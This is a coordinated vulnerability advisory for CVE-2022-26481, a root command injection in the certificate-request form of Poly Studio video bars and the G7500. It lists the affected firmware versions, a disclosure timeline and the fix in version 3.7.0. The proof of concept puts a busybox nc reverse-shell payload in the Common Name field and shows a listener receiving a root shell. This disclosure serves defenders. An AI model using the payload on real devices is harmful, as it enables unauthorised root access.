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Poly Studio X30, Studio X50, Studio X70, and G7500 versions 3.4.0-292042, 3.5.0-344025, and 3.6.0 suffers from an authenticated command injection vulnerability.

advisories | CVE-2022-26481

SEC Consult Vulnerability Lab Security Advisory < 20220601-1 >
title: Authenticated Command Injection
product: Poly Studio X30, Studio X50, Studio X70, G7500
vulnerable version: 3.4.0-292042, 3.5.0-344025, 3.6.0
fixed version: 3.7.0 or higher
CVE number: CVE-2022-26481
impact: critical
found: 2021-07-14
by: Johannes Kruchem (Office Vienna)
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Vendor description:
"Experience full board-room-quality audio, and knock-your-socks-off video,
for mid-sized rooms. The Poly Studio X50 all-in-one video bar is radically
simple to use with support for leading cloud video services built right
in—no PC or Mac required. Voices are crisp and clear. Video feels natural.
And wireless content sharing lets users collaborate from their devices
without cables or pucks."

Business recommendation:
The vendor provides a patch which should be installed immediately.

Vulnerability overview/description:
1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481)
An authenticated Command Injection vulnerability exists in the web interface when
creating a certificate. An attacker is able to execute commands with root privileges.

Proof of concept:
1) Authenticated Command Injection with Elevated Privileges (CVE-2022-26481)
When being authenticated:

1. In the system web interface, go to Security > Certificates.
2. Select Create Certificate Signing Request (CSR).
3. In the Certificate Details form, complete the following fields:

Common Name (CN): $(busybox nc 8888 -e /system/bin/sh)

(steps taken from

The previously started nc listener receives a connection from the camera
as root:

$ nc -lvp 8888
connect to [] from (UNKNOWN) []
$ pwd
$ whoami

Vulnerable / tested versions:
At least the following firmware versions of Poly Studio X30, Studio X50, Studio X70 and
G7500 are affected:

- 3.4.0
- 3.5.0
- 3.6.0

Vendor contact timeline:
2021-07-14: Contacting vendor through PSIRT email.
2021-07-15: Vendor sent PGP key.
2021-07-16: Advisory was sent to the vendor.
2021-07 to 2022-03: Further coordination with multiple emails and meetings.
2022-03-18: Vendor provides draft advisory.
2022-03 - 2022-06: Patch already available, waiting for vendor advisory release.
2022-06-01: Coordinated release of security advisory.

Update to firmware version 3.7.0 or higher.

The firmware can be downloaded from the vendor's support page:

This issue has been documented in the vendor's security advisory PLYTV21-09:

In order to minimize the risk of exploitation, set a strong password for the
web interface and restrict network access to the device.

Advisory URL:


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EOF Johannes Kruchem / @2022